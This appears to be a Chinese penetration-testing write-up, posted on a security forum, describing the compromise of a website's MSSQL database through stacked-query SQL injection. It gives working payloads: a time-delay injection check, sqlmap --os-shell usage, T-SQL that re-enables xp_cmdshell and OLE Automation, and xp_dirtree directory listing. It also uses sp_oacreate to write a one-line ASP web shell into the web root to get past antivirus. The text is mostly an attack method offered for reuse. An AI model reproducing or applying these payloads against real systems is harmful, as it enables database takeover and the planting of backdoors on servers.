首發:J8sec
作者:zpchcbd
0x01 站點存在注入
http://xxxxx.net/gl_trans/tran_shuke_1.aspx?id=1059
通過堆查詢延遲注入,判斷是dbo的權限
;if(selectIS_SRVROLEMEMBER('sysadmin'))=1WAITFOR DELAY'0:0:05'--
那么直接通過sqlmap來進行執行命令 --os-shell
發現
[18:39:23] [INFO] checking if xp_cmdshell extended procedure is available, please wait..
xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y
[18:39:25] [WARNING] xp_cmdshell re-enabling failed
通過--sql-shell 來手動開啟
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
執行:exec master..xp_cmdshell "whoami"
當sqlmap啟動xp_cmdshell組件執行失敗的時候還會嘗試去開啟sp_OACreate
手動執行語句為:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
但是還是發現執行失敗
Command standard output [0]
0x02 提權
再之前信息搜集的時候發現開放的端口有
連接下3389發現確實是有殺毒存在
所知道的利用xp_cmdshell組件 spsp_OACreate COM組件之類的進行執行命令都會被殺毒攔截 只能從別的方面下手
既然是dbo的權限那么也可以嘗試通過差異備份等等的方法來繞過殺毒
這里利用的是存儲過程來寫文件
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\muma.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
因為這里自己已經讀到了權限dbo的密碼 所以是直接用navicat上直接操作
通過
execute master..xp_dirtree 'c:' //列出所有c:\文件和目錄,子目錄
execute master..xp_dirtree 'c:',1 //只列c:\文件夾
execute master..xp_dirtree 'c:',1,1 //列c:\文件夾加文件
來尋找目錄的地址 然后通過以上的操作來寫文件就可以了
后來通過同服旁站的查詢發現另外一個站點上的目錄上文件有報錯 同樣可以發現路徑來嘗試寫到另一個站點上
高權限
2019_9_25